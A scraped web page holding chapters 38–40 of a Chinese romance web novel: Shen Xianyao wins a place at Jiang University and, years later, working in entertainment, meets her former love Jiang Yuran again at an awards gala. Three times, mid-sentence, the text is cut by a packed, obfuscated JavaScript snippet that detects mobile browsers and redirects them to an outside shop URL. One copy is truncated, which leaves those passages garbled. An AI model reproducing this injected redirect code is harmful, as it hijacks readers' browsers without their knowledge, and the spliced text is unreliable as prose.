还记得研学的一天晚上,我们仰望星空,肆无忌惮地谈及梦想和家人。虽然从来没跟你说过,但那是我那段时间最畅快的一次,感觉所有憋在心里的烦恼都倾泻而出,特别痛快。当时你跟我说你觉得我很勇敢,其实我有些惊讶和无措,因为我几乎没有被这样评价过,现在想想,敢于追逐梦想好像确实是一个特别酷的事。 所以我决定再勇敢一点,和妈妈不再用冷战和吵架解决问题,成功竞选上了周年晚会的总导演,让爱我的人和我爱的人都感到幸福为我骄傲,我也在这一刻,选择把这封重要的信写给你。 一年后的江昱然,肯定又成长了不少,让我猜猜,现在的你,是不是已经考进了心仪的大学,没有顾虑地追逐自己的音乐梦想了?你说不定已经成功发行了第一张专辑,积累了一小波死忠粉。 就算还没有,那也没关系,我相信不远的将来总有这一天的到来。 就像今天班会的主题,橘子不是唯一的水果,像你总鼓励我的那样,围墙坍塌外面还有别的世界,命运还有别的可能,我们的人生从不设限,永远向上,殊途同归。 愿你前程似锦,健康顺遂。 38. 第 38 章 “九号考生,准备一下,下一个就轮到你了。” 考务冲着在走廊等候的一众考生说,沈羡瑶立即站起来示意,跟着考务走到门口站定,听门的那头传来不真切的细微声响。 原本她还在猜测老师有可能问她的问题,现下竟是紧张得大脑一片空白,只是一遍遍机械地小声重复准备好的自我介绍。从安岚到江城,一切都像是一场梦似的,她非常顺利地通过了线上的初试,独自来到江城参加江大广编专业最后的面试。 透过狭窄的门玻璃,她看到里面的考生起身鞠躬,然后向着门口的方向走来。考务拍了拍她的肩膀,她登时屏息凝神,迈进那间决定命运的房间。 身后的门关上隔绝外界所有杂音,房间里静悄悄的,正对面坐着三个考官,这场期待已久属于她的试炼,终于开始。 江城已经是零下的温度,但她因为紧张在门外的时候就已经浑身冒汗,脱了外面的羽绒服,只剩下最贴身的一件白短袖。 最中间的老师扶正鼻梁的眼镜,随口问:“不冷吗?” 沈羡瑶愣了瞬,没怎么思索地就回答道:“见到老师们我热情似火。” 三个老师不约而同都笑出了声,屋子里凝滞的氛围一下子放松下来,她也跟着弯弯唇角,到位置上坐好。 似乎是个不错的开始。 面试有条不紊地进行,她先是流利地做了自我介绍,着重讲了自己的策划统筹能力与舞台经验,语气不慌不忙像讲故事一样娓娓道来。老师们全都听得很认真,也让她交流得更加自信从容,就好像在跟许久未会面的老朋友寒暄一样。 老师先是深挖她的经历,然后逐一提了三个关于专业的问题,她只在最后一个问题卡壳了,也如实坦诚了自己没用过Ae,老师也只是点点头,未置可否。 “对了,我记得你的自我介绍中的最后一part,有提到自己执导了你们学校五十周年庆的晚会。B站上那个很火的爱乐之城改编歌舞剧,是你的作品吗?” 沈羡瑶眼睛一亮:“是的,老师您看过?” 晨星在几个社媒平台都有开设账号,上传了几个反响很好的晚会节目,《魔幻时刻》一马当先,仅一周时间播放量就突破百万,还被评选为每周必看,属实是意外之喜。 他笑而不语,忽地话锋一转:“你为什么想学编导?” “当时是初二的一个暑假,我被同学拉去隔壁城市看音乐节,那是我人生中第一次接触这么大的舞台。那种心脏跟着节奏狂跳,忘却所有烦恼热血沸腾的感觉我现在还记忆犹新,以至于回家后我有很长的戒断反应。我当时就想,舞台上的歌手固然出色,但缺少幕后任何一个人员的付出,都不会呈现出如此精彩的表演。”她眼睛有星光闪烁,整个人都好像在发光。 “在执导完我们学校的晚会后,我更加深刻地认识到,出色的作品离不开团队协作,没有一直支持我的朋友们,我一个人也无法完成这样好的效果。我选择江大的广编专业,除了想要提升自己的专业能力接触更广阔的天地之外,也想认识更多志同道合的朋友,一起在追逐梦想的道路上努力。” “创作于我而言是喘息,我享受每一个灵感迸发的瞬间,我也慢慢拥有了许多爱好,我喜欢听音乐,看电影,习惯用镜头记录生活,这些好像在逐渐滋养我成为一个更加丰富鲜活的人。” “所以,其实无论结果如何,我都不会后悔我选择的路,因为我已经收获成长了太多。遗憾常有,至少我已经勇敢过了,而今后我也会一直勇敢下去。” “这就是我的答案。” 走出考场的时候,步子都有些轻飘飘的,天空下起绵白碎雪,落在沈羡瑶的蓝围巾上慢慢融化。 江大真的很美很大,处处散发着自由和浪漫的气息,在雪天里又是别一番韵味。有不少学生和她擦肩而过,可能是急着赶下一节课,步履显得匆忙。沈羡瑶裹着黑色羽绒服匿在里面,好像真的成为他们中的一员,明年的这个时候,自己会不会也能够在这漂亮的校园里上课,会不会褪去些青涩的学生气,慢慢成长为一个能让妈妈依靠的大人了? 她望着高耸的钟楼,突然有几分恍然。 步入高三下,生活里的各种缝隙也被学习填满,沈羡瑶因为准备艺考耽搁了些许文化课,又掉到了年段三十名。 头发大把大把的掉,黑眼圈快跟熊猫有一拼,难得苦中作乐,是和宋静雯他们坐在教学楼门口的台阶上的时候,哪怕一句话不说,安安静静坐一会儿也好。几乎所有人都察觉到了沈羡瑶的变化,她好像又变回刚转来时内敛安静的女孩,除了吃饭睡觉就是把自己泡在题海里,大家也都默契地闭口不谈某个人的名字。 日子从没这么难熬过,几乎是掰着手指倒计时咬着牙硬挺。 三月七日。 市一模成绩出来了,沈羡瑶考了629,虽然并不算很高的分数,和她的巅峰成绩也有差距,但已经是她这段时间考出的最高分。她抱住宋静雯,嚎啕大哭了一场,然后继续像无事发生一样一头扎进练习册。 陆洋阳和李嵩偶尔会给她讲一些不知道从哪搜罗来的冷笑话,然后小心翼翼地看她眼色。每当这种时候她都会觉得既好笑又心酸,只是宽慰他们:“我真没事。” 她其实也清楚,自己的表现在别人看来属实是平静得太过诡异,但她不敢停下来喘息,不然乱七八糟的想法和回忆就会魔怔一样地涌进脑海。 学习不止能提分,也是麻痹。 三月十一日。 百日誓师,她站在红旗下,跟着大家将自己的目标大声喊出,声音混杂在人群中,清瘦的身影在骄阳下微微颤抖。 三月十八日。 许多学校都开始出校考成绩了,陶早回到晨星专心学习文化课,听说她拿下了好几个名校的合格证,并且排名全部名列前茅。偷偷跑去高三文科班打听和偷看她的人不在少数,处于风暴中心的主人公却仍旧是那副云淡风轻的模样,让沈羡瑶既羡慕又佩服。 佩服她出色的艺考成绩和稳定强大的心态,羡慕她有这么多的选择。 沈羡瑶只参加了江大广编的招生,相当于单吊在这一棵树上,江大迟迟不出成绩,她焦虑得整夜整夜睡不着觉。 她必须做好没有拿到合格证的准备,只能在有限的时间里拼命提高文化课分数,好让自己的选择更多一点。 她没有退路。 四月一日。 愚人节,朋友圈又有人玩起无聊的表白游戏,当然和包括她在内的高三考生没什么关系。 宋静雯上着晚自习,突然崩溃大哭起来,沈羡瑶陪着她在操场坐了一晚上。 她说无论自己怎么努力都离六百分差一点,害怕去不了江城,不能和沈羡瑶考进一个城市。 沈羡瑶听得鼻头发酸,只是一下一下缓慢拍着她的肩膀,任由她的眼泪蹭湿校服。 四月十二日。 江大校考出成绩。 沈羡瑶特意向林澍报备请了个短暂的假,拿了手机,缩在楼梯间角落查成绩。拿着手机的手微微颤抖,宋静雯在旁边看不过去,要帮她查,手机拿到手后却比她还紧张,迟迟不敢点开几乎要哭出来。 最后还是沈羡瑶自己拿回手机,深吸一口气,点了进去。 一开始信号不好,愣是刷新好几次都没刷新出。等到两人都没什么耐心的时候,绿色的合格两字就这样横冲直撞地闯入视线。 空气凝滞一瞬,耳边随即炸开宋静雯兴奋的尖叫,沈羡瑶被她蹦跳着搂住,大脑仍是懵的,只会跟着傻笑。 超合格线十二分,全国第六,江大是专过文排,以她现在的成绩,考入广编专业几乎是板上钉钉的事情。 回家的脚步都有些轻飘飘的,像踩在棉花上。 路过熟悉的麻辣烫店,沈羡瑶停下来,将书包撂在塑料凳,招呼道:“爷爷,来碗麻辣烫。” “得嘞。”见是老熟人,周爷爷立即喜笑颜开地去忙活。 周围来往行人络绎不绝,头顶皎洁的明月高悬着,鲜香的味道直往鼻腔里钻,她独自坐在最边上的小桌,本该高兴得一塌糊涂,却只感觉心里空落落的。 “叮——” 是收到短信的提示音,沈羡瑶怔怔地拿起手机查看,本以为是话费不足的提醒,等她划开屏幕仔细一瞧,却愣住了。 [恭喜。] 发来的联系人没有姓名,那串号码她却已经烂熟于心,简简单单的两个字,让她登时像被扼住了喉咙,心脏随着呼吸抽丝剥茧地痛。 半晌,那边又发来一句。 [辛苦了。] 沈羡瑶攥紧手机,喉咙都发燥,微微滚动。 “麻辣烫来喽。”周爷爷扬着眉毛,将瓷碗端上了桌。 他习惯性向她旁边瞅了眼,随口问道:“诶,那个经常和你一起的男孩,怎么不见影了?” 沈羡瑶捏着筷子的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006916|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一紧,本想回个礼貌的微笑,嘴角却突然不受控制似的,向下一撇,有了哽咽的苗头。 紧接着便一发不可收拾,像打开了水龙头的开关。 她大口大口地往嘴里塞着玉米面,眼泪却像断了线的珠子不断地滚落,抽抽嗒嗒的,她想埋头吃饭掩饰自己,却显得更加狼狈,到最后整个人哭得都在抖。 周爷爷一下子慌了神:“你,你这孩子,突然哭什么啊...是不是学习压力太大了?爷爷再给你加个蛋,不要钱。” 沈羡瑶反复伸手揩去眼角的泪水,却越抹越多,糊住视线和嘴巴。她往碗里倒了许多醋,却已经尝不出麻辣烫的味道。 路人纷纷侧目,只看见一个清瘦的女孩,坐在麻辣烫的路边摊,哭得肆无忌惮旁若无人。 没关系,她悄悄安慰自己。 就只掉这一次眼泪,最后一次。 - 有了合格证的托底,沈羡瑶向最终目标发起了冲刺,尽管已经十拿九稳,她还是想不留余力地交一份满意的答卷。高考前的日子比预想中的还要短暂,好像只是睡了一觉,转眼间就已经要奔赴战场了。 沈如晴比她还要焦虑,反复确认她有没有忘带东西,反倒是她安慰沈如晴不要太担心,肯定没问题。她在的考场负责送考的是一直很喜欢她的英语老师,给了她一个大大的拥抱,还分享了自己新押的作文题目——虽然一个也没押中。 三天时间转瞬即逝,沈羡瑶回到家的第一件事,就是躺在床上痛痛快快地睡了一觉,好像要把之前失的眠都补回来似的。 成绩出来,她并没有像自己期待的那样超常发挥,当然也没有考差,跟二模分数接近,稳妥发挥出了正常水平,完全够用。她走的是提前批次,因此很早就知道了录取结果,等到录取书到的第一时间就迫不及待地拍照发在了群里。 当然是一片庆贺。 没过多久,其他人的录取结果也陆续揭晓。 宋静雯考出了有史以来的最好成绩,终于摸到了六百分的边缘,如愿考进江城东海大学广告学。陆洋阳跟着父母意愿报了医科类的专业,仍旧是副逍遥自在的乐天派模样,好像也用不着她操心这位小少爷。李嵩为了奶奶留在了安岚,进入安岚师范大学攻读心理学。陶早最终选择了华影,还没正式出道就有了自己的粉丝团。 大家都各有各的归宿,他们这部名为青春的热血漫结局也算是圆满。 时隔许久,沈羡瑶终于鼓起勇气,点进了一个熟悉的头像。 江昱然还是那么不爱发朋友圈,只有寥寥几条新增的动态,最顶上的一条是曼哈顿的日落,天空被染成漂亮的粉紫色,梦幻得像幅油画。 和她听说的一样,纽约的日落的确很美。 她深吸一口气,将联系人删除,坐在窗边盯着手机怔了许久。 一封珍藏已久的信被她悄悄展开。 致沈羡瑶: 江城大学广播编导专业准大一新生你好,想必你现在已经得偿所愿,离自己的梦想更进一步了吧。 第一次见你的时候,就觉得你是个很倔的姑娘,事实证明,我看人一向很准。该怎么形容你呢,就好像悬崖边上盛开的一朵雏菊,坚韧又可爱,只要静静地站在那里,便能吸引蝴蝶停留。 有些话写出来有些肉麻,请原谅我的词不达意。但我还是想说,感谢你的存在,让我对每一天的到来都有了新的期待,现在想想,好像许多幸福的回忆里都有你的参与,或许我应该直接把这些好情绪的源头归功于你。 我喜欢你谈及梦想眼睛都在发光的神采奕奕,喜欢你专心致志去解决一个问题的冷静坚定,喜欢和你待在一起的每一秒,更喜欢你的笑容,也想贪心地希望你脸上的笑容能再多一点,如果是因为我就更好了。 没想到我第一次跟你说喜欢这个词,是在这封没什么准备的信里,无所谓了,如果高考完我还没表白的话,那江昱然就是这个世界上最大的怂蛋。 我有的时候能感觉到你对未来的焦虑,总是习惯性碎碎念,没做好某件事就完蛋了。尽管这话由我说出来可能没什么说服力,但我还是想跟你说,人生的容错率比你想象中的要高很多。可能我是一个理想主义者吧,但我始终相信,你做过的一切走过的每一条路都是有意义的,未来一定有更好的机会等待着你。 沈羡瑶,向前走,昂首挺胸地向前走。 道路曲折,前途光明。 ’ 39. 第 39 章 远处又传来一道闷闷的雷声,偌大的江城被雨水冲刷着,才将将四点出头天色就已经黯淡下来,灿然光亮被乌云掩了个严实。 在这样的天气里信号也变得糟糕起来,电话那边的声音时大时小,传到耳朵里嗡嗡的。 “羡瑶,还要多久?” “一直打不到车,我这边可能还需要一点时间,但活动开始前我一定能赶到的。”沈羡瑶肩膀夹着手机,三个软件一并约车,也不忘眼睛紧紧盯住路边的出租车,但不是车上有客就是没看见似的扬长而去。 该死,尽管已经提前很久了,但就应该再早一些出门的。 心底生出几分燥意,顾不上思索更多,她攥紧手机朝着几百米远车流量更大的地方跑去。地面反光的小水洼被踩得啪嗒啪嗒响,裤脚一片湿润,紧贴着皮肤激起细密鸡皮疙瘩,属实不太好受。 正当沈羡瑶一筹莫展的时候,一辆熟悉的黑色轿车突然慢悠悠地进入视线,在路边停住。车窗摇下半截,露出张端正清润的脸,是家里的长辈很喜欢的那种体制内长相,五官偏秀气,眼上根根分明的野生眉却平添了几分浓郁硬朗。 她怔了瞬,眉头随即舒展开来。 “你怎么会在这儿?”她系好安全带问道,“简直像天降神兵一样,帮大忙了。” 谢时年声音染上笑意:“突然想起来你今晚有个重要的活动,暴雨天出行肯定很不方便,正好我出去办事也顺路,就想着一道接你,没想到刚好碰上。” 沈羡瑶向后靠了靠,有些无奈:“7号线要是再不恢复运营,我真的会疯掉。今天真是太谢谢你了,回头请你吃饭。” “跟我还这么客气。”他轻笑两声,指关节轻轻叩着方向盘。 大学毕业,沈羡瑶校招斩获的offer顺利转正,成为利美的正式一员。利美是国内近年蒸蒸日上的大厂,旗下业务广阔,核心领域是人工智能,新开设没几年的影综部门也屡创佳绩。她现在待着的工作室叫做萤火,直属领导是跳槽来利美的罗心媛,两人有朝一日竟能在同一屋檐下共事,也算是奇妙的缘分。 她参与过几个晚会的策划,平日里也经常跟着跑各大综艺组,生活的缝隙逐渐被工作填满,因为是喜欢的领域,所以即使辛苦也感到很幸福。 从高中第一次见罗心媛时那个懵懂青涩的女孩,到现在成长为她身边可以独当一面的得力干将,这一程,沈羡瑶走了整整八年。 今晚是利美承办的星光盛典,业内一年一度的热闹盛会,邀请了众多艺人和大佬。沈羡瑶是这次庆典的执行导演,这也是她进入行业以来担任过最核心的位置,因此格外重视珍惜。 恰逢红灯,谢时年刹住车,瞥了眼靠在车窗阖目养神的沈羡瑶,问:“忙完这个项目是不是就没什么活了,可以好好休息一段时间了吧?” “哪里,还有个音综的项目,这才是今年第一季度的重中之重,我负责舞台的部分。罗姐能把这样重要的职位交给我,我一定不能让她失望。” “音综?”他眉尾一扬,“现在谁还看这个。” 意识到自己说错了话,谢时年轻咳两声,找补道:“我的意思是,这行业辛苦又不稳定,你一个女孩天天跟着东跑西跑的,总归不合适。你看大周末的,还不能休息,倒不如像我,趁着年轻试错成本低抓紧转行才是真的。” 沈羡瑶回得没什么情绪,淡淡道:“我喜欢。” “哪个行业不辛苦,互联网公司不也是吃青春饭的,我倒不如干点自己喜欢的。” 谢时年一时噎住,看她没有再接茬的意思,讪讪转移话题。 轿车经过市中心,明显堵塞起来,沈羡瑶揉了揉发胀的太阳穴,向窗外瞥去,却不由得怔住。 雨渐小了,繁华街头人来人往,位于十字路口正中央的3D裸眼巨幕屏是地标,吸引无数外来游客打卡。而此刻有不少人都聚集在LED屏下,举起手机录制拍摄,时不时爆发出一小阵的尖叫。 只一眼,她便认出了屏幕上的人,Dazz。 或许该叫他另一个名字,江昱然。 阔别经年,江昱然在国外混得风生水起,先是参与了许多知名歌手专辑的制作,慢慢辐射到影视剧领域,为许多大爆美剧和电影制作了原声带。他只是配合工作接受了几个采访,却因为高颜值意外出圈,收割了一大批忠实粉丝。 许多公司纷纷向他抛出橄榄枝,想让他多抛头露面甚至往荧幕上发展,他却专注于幕后拒绝了所有邀约,凭借着一张独立制作发行的专辑,成为第一个闯进b榜前30的华人。 而随着江昱然在全球的热度高涨,他在国内的知名度也越来越高,甚至有媒体夸张地捧他为百年难遇的“天才制作人”。 以至于沈羡瑶时不时刷短视频就能看到他,甚至到后面都有些脱敏,时间久了,便愈发平静。他做到了让全世界都知道Dazz和江昱然,她为他高兴,只是他们的距离好像越来越远,她跟那些隔着屏幕犯花痴的女孩没什么区别,只是多了段被湮没的过往。 不出意外的话,他们这辈子都不会再有交集。 可是为什么,她在看见巨幕上的他的那一秒,还是会控制不住地心脏一颤呢。究竟还要多久,这种几乎成为条件反射的感觉才能慢慢消散呢。 “羡瑶?”谢时年的呼唤让她回过神来。 见她似是没听到自己刚刚的话,他无奈一笑重复道:“我说,你那边什么时候结束,晚上一起吃个饭吧。” 她瞥了眼手机屏幕:“到时候肯定过了饭点了,不用等我,你自己先吃吧。” “不是刚说完要找机会请我吃饭吗,这会儿想赖账了?我们都好久没有坐下来一起吃顿饭了。” 沈羡瑶想起自己方才的承诺,也确实是不好意思再拒绝,扯扯嘴角算是应下来。 车子终于抵达会场,罗心媛早早地等候在门口,她挥挥手跟谢时年作别,便匆忙赶过去。 “抱歉,久等了姐。” “没事,还早。” 罗心媛拍了拍她的肩膀,眼睛却一直追着那辆开远的黑色轿车,语气也多了些揶揄的味道:“哟,解锁新人物,不介绍一下?男朋友?” “就是关系比较好的朋友,”她解释道,“我的大学同学。” “唔,那认识很久了啊,一个班的?” “不是,他是学新闻的,我去美国交换那一年是和他一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她攥紧台本挤过人群向后走,准备催场大轴节目,主持人在台上颁发今晚的最后一个奖项,年度星光艺人。去年的获奖者是陶早,今年她没有来参加盛典,不知道会落到谁的头上。 思索的功夫,主持人突然话锋一转,语气都跟着激动起来:“每年的这个终极殊荣都是最令人期待的,而这次我们也邀请到了一位神秘嘉宾,来为我们的年度艺人颁奖!” 神秘...嘉宾?沈羡瑶脚步滞了瞬,有些好奇地向舞台望去。 一缕淡淡的佛手柑味道却在这时候飘入鼻腔,她浑身一僵,大脑登时宕机。独特的气味越来越浓郁,只是与少时还不太一样,混入了丝丝缕缕梅子酒的烈劲,熟悉又陌生。 她喉咙上下滑了滑,机械地转过身去—— 正撞上一个优越挺拔的身影。 一身纯黑西服套装,里面的内衬却是件白色无袖衫,随性又不失体面。他留了一截不算长的狼尾,只一边耳朵挂了耳钉,眉眼间的侵略感几乎无法掩饰,整个人锐利的锋芒肆意释放,淡淡站在那里便无比扎眼。 少年感不减,只是多了些时间的沉淀,唇角浅浅勾起个弧度,依稀还能辨清当年的模样。 沈羡瑶还僵在原地,江昱然被人领着从台阶往下走,掀起眼皮,不偏不倚地向她看来。 四目相对。 脑袋里劈里啪啦炸开烟花的同时,舞台上主持人说话的声音和会场内爆发的欢呼骚动一并跟着响起。 “让我们隆重请出今晚的神秘颁奖嘉宾——” “江、昱、然!” 40. 第 40 章 她想象过无数个重逢的场景,却没想到再遇是在这样的情况下,人声鼎沸,两人就这样猝不及防撞上眼神。周围的一切好像都变成升格镜头,几束冷白的光齐齐涌来,有些晃眼。 “诶诶,老师,别挡路啊。” 工作人员提醒的声音响起,沈羡瑶才猛地反应过来,迅速闪到一旁让出前面的路,脑子仍微微发懵。视线一路追随着江昱然迈开大步,在聚光灯的照耀下走上舞台,LED大屏出现他张扬的面容,他捏紧立麦,礼貌性地扯扯嘴角示意。 周围一阵骚动,议论声清晰地传入耳中。 “我靠,江昱然?是我知道的那个江昱然吗??!” “他竟然回国发展了?他在海外不是香饽饽吗,怎么突然回来了。” “没准人家未来规划就是这样的呢,哎呀不管了,反正以后又多了个帅哥饱眼福,高兴还来不及,也轮不上我们操心。” “他又不是圈里的,社交动态都寡得可怜,你们说他回国会不会多更新一些啊。嘶,不过感觉他真人比视频里的帅多了,完全不需要氛围感修饰和职业滤镜加成,就硬帅。” 江昱然凑近麦克风,场内的躁动也渐渐平息。 他顿了瞬,微微俯身。 “感谢奥美给我这次颁奖的机会,荣幸至极。” “Bytheway,我最近还算清闲,欢迎各位老师找我合作。” “往后的路还长,共勉。” 三言两语结束致辞,却将会场内的气氛再次推向高潮,掌声雷动,和他有关的词条已高高挂上热搜。 沈羡瑶静静盯着舞台上的江昱然,一阵恍惚。 - 淬着寒意的晚风刮过脸颊,激起细密痛意,沈羡瑶脑子里的热浪褪去大半,拍了拍自己的脸,总算清醒几分。 手机震动两下,她低头瞥了眼,是谢时年发来的消息。 [三分钟。] 她将台本塞回包里,整个人靠在会场门口的柱子上,望着来往车流发怔。江城的夜景漂亮得过分,摩登的建筑物连成一片灯海,像是坠入绮丽的梦境,五光十色,纸醉金迷。 身后脚步声愈发的近,沈羡瑶并未在意,向声源处微微侧了侧头。通过余光的一角,她却瞥见挺拔的身影在自己斜后方站定,淡淡的佛手柑气息再度侵占鼻腔,惹的人心烦意乱。 沈羡瑶僵了瞬,盯着黑西服的边缘,不动了。半晌,她将目光缓缓移回眼前的繁华夜景,好似没注意到身后的动静,气氛沉寂得有些诡异。 正当她考虑要不要换个地方等的时候,身后人却先一步开口。 “东西掉了。” 仍旧是熟悉的清冽嗓音,只是多了几分成熟与克制,更显得疏离。 她微微晃了晃身子,终是转身看去。 江昱然垂下眸,她顺着他的目光瞧见他两根手指拎起的耳坠,下意识抚上左耳,果然一片空荡。估计是忙起来时没注意,掉落在别处的。 “谢谢。”沈羡瑶接过耳坠,并没有第一时间把它戴上,而是将它顺手收进挎包的隔层。 简单对话过后,却又没了下文,江昱然似是并没有离开的打算,好整以暇地站在原地,也不说话。就连一旁的助理路延都察觉出气氛的不对劲,眼神在两人间来回流连,终是没忍住疑惑道:“江老师,您认识?” 他没落声,好像在等她先一步开口。 门口变得嘈杂,有几家媒体也从会场出来,正朝着他们的方向走。 “滴滴——” 一道尖锐的汽车鸣笛声忽地突兀响起,划破寂静长夜。瞧见这么多人候在这儿,谢时年也是一愣,随即从驾驶位下来,眼神不经意地扫过江昱然,然后落在沈羡瑶身上,冲她抬抬眉示意。 刚才路延的问题,江昱然和沈羡瑶还都没有回答。 沈羡瑶从口袋里掏出一张名片,不容分说地塞进路延手里,话却是盯着江昱然眼睛跟他说的:“江老师,我是利美旗下的萤火工作室成员,我们工作室也接触了不少音乐相关的项目,期待以后能跟您有合作的机会。” 客套又官方,好像真的只是幸运地逮住机会,努力为事业牵线搭桥的职场人。 也不等他回应,她迅速转身离开,坐上那辆黑车。 路延捏着名片发懵,半晌笑道:“现在这年头还有这么莽的姑娘呢,你在台上说几句客套话她还真当真了,这名片我就先...诶,哥,哥?” 还没等他说完,江昱然却将那名片拿了去,薄薄一张,捏在手里来回摩挲。 江昱然盯着那辆扬长而去的黑车,力度缓缓收紧,指腹泛白。 - 梧记餐厅。 这家餐厅以湘菜闻名,招牌辣椒炒肉一端上桌便诱得人胃口大开,立即迫不及待地想干两碗米饭。 一晚上身心俱疲的沈羡瑶也顾不上那么多,先埋头扒拉了几口饭。 谢时年看她这副模样,忽地笑道:“还记得我们在美国那会儿,想吃中国菜简直想疯了,找遍全加州终于搜罗到一家中餐馆,含泪吃了20多刀一道的辣椒炒肉。” “现在想想那个辣椒炒肉其实真的不太好吃,”她也忍俊不禁道,“但当时对于我们简直就是人间美味,甚至吃得想哭。” “也可能是贵得想哭。” “哈哈哈哈哈哈。” “不过,”谢时年顿了顿,“我还是很好奇,开学前去纽约,你说什么也要去图书馆前的许愿池看一看,还抛了三枚硬币,那时问你你也不肯说,到现在我也不知道你许的什么愿。” 沈羡瑶抿紧唇,没作声。 “那或许换个问法,你当时许的愿望都实现了吗?” 她沉吟片刻,温吞道:“...算是吧。” 脑海中一瞬间涌入浪潮般的回忆。 那时的她,站在纽约最繁华的地段,眼眶却莫名发酸。做梦都没想到,人生第一次坐飞机,就是去往美国的航班,他们交换的学校在加州,但她却决定要先来纽约看看。 纽约的日落果真很漂亮。 沈羡瑶望着许愿池,心里五味杂陈,良久沉默后,她将三枚硬币抛向池底。 第一个愿望,家人平安;第二个愿望,事业顺遂;最后一个愿望,希望能再见他一面。现在想想...似乎许的愿望都已经实现了,那如果当时第三个愿望许的再贪心点,会不会... 沈羡瑶摇摇脑袋将乱七八糟的想法甩开,自顾自开了瓶酒,抬眼看他:“喝吗?” “那谁开车?” 她才想起来这茬,弯弯嘴角,将半杯红酒一饮而尽。 “其实,我真的很怀念在美国交换的时候。”饭吃得差不多酒也见底,谢时年忽地开口道,脸颊泛上两团淡淡红晕,明明没沾酒,却比她还像醉了。 “虽然辛苦,但周围的一切都很新鲜,对未来也有无限的憧憬。而且...只有我们两个。” “羡瑶,你怀念那时候吗?”他轻声问。 沈羡瑶捏紧酒杯,点点头:“怀念,但不会想回去再经历一遍。” “...为什么?” “人要向前看。”她淡淡一笑,将最后一点红酒饮尽。 谢时年怔了瞬,随即也跟着扯扯嘴角,只是多了些苦涩的味道。 “我自以为已经很了解你了,但有的时候,总感觉还是看不透你。” - 结束一天的劳累,回到家已是深夜。出租屋不大,是个约莫三十多平方的开间,一个人住也够用。 沈羡瑶洗漱完毕,敷了个补水面膜,总算又回到温暖的床榻。 视频通话的铃声响了几秒,随后被接通。 “哟哟哟这是谁啊,可算想起来江城还有个我了。”宋静雯小嘴一撇,开始兴师问罪。 她无奈笑道:“不就是一天没给你打电话吗,要不要这么阴阳怪气的。” “切,也不知道是谁昨天说好跟人家煲电话粥,结果硬是让我苦哈哈等了一天,连个人影都没有。” “我不是在忙盛典的事嘛,错了错了。”沈羡瑶哄人的技术已经相当熟练,语气都带着点撒娇意味。 宋静雯轻哼一声,脸色总算缓和:“刚吃完晚饭?和谁啊。” “谢时年,你见过的。” “他啊?他有没有又跟你说些奇怪的话。” “还好,”沈羡瑶将翘起边角的面膜重新摁得服帖,嘴里嘟嘟囔囔,“就说了些怀念美国交换的时光之类的。” 宋静雯啧啧两声,道:“依我说,谢时年他绝对对你有意思,不过他说点事总是弯弯绕绕的,贼磨叽。话说瑶瑶,你俩也认识这么多年了,你就真对他一点感觉都没有?” “我还记得你俩刚回国那阵,他想创业结果合伙人卷钱跑路,你二话没说帮他垫了两万,自己明明手里也没多少钱。我那时还以为你们铁定能发展出来点什么,结果到现在都是这个进度。” “换做是你,我也会毫不犹豫这样做的。”沈羡瑶往嘴里塞了颗褪黑素软糖,最近她要靠外力作用才能睡得着觉。 “那倒也是。”宋静雯挠挠脑袋,若有所思道。 “我今天碰见江昱然了。” 她犹豫一瞬,终是全盘托出,将手机默默拿远了点。 “碰见谁了???!!!” 果真,宋静雯直接垂死病中惊坐起,声音都拔高八度,眼睛瞪得溜圆。半晌那边没动静,只传来键盘哒哒的声响,过了一会儿才传来一声喟叹。 “我靠真的诶,江昱然竟然回国了。” 沈羡瑶无奈揉了揉眉心:“你不是向来走在八卦第一线吗。” “别提了,这破班上的我快戒网瘾了。欸不是,你别打岔。所以说...你今天线下见到他了?真人?他看到你了没,跟你打招呼了吗?” 她抿抿嘴唇,答得平静,是陈述的语气:“见到了,没打招呼,倒是我塞给他一张公司的名片,说是期待合作。” “噗,”宋静雯不厚道地笑出了声,“我真服了你了,铁血事业批。” 片刻后,宋静雯的神情明显小心翼翼起来,试探道: “瑶瑶,这么多年了,你不会还...” 后面的话她没说出口,彼此却心知肚明。 空气安静一瞬。 “怎么会。”沈羡瑶将面膜揭下,却默了许久。 “都过去了。” 宋静雯通过屏幕观察着她的神色,幽幽叹了口气,忽地认真起来。 “瑶瑶,作为朋友,我还是想跟你多嘴一句。如果做好了跟过去彻底告别的准备,也是时候该敞开怀抱接纳新的人了。” “不过,也别勉强自己。” “我永远站在你这边。” 夜色愈浓,万家灯火交织在一起,点燃繁华的江城,远远望去像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049783|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片流动的星河。公寓顶楼大平层的玻璃倒映出一团朦胧黑影,江昱然刚洗完澡,身上裹着件黑浴袍,领口敞得有些低,头发半干。 漆黑的眼瞳倒映出光影幢幢,明明是这样繁华的景象,却只感到一阵没有尽头的孤独。 手机铃声突兀响起,过了两秒却又先一步挂断。 [陆洋阳:靠,打成视频了,我才不想看见你那张臭脸。] 江昱然回了个逗号。 铃声重新响起,只不过换成了语音通话。 有些贱兮兮的声音从听筒传来:“回国的感受如何?还习惯不,有没有什么新情况,用不用我和小早帮你参谋参谋?” 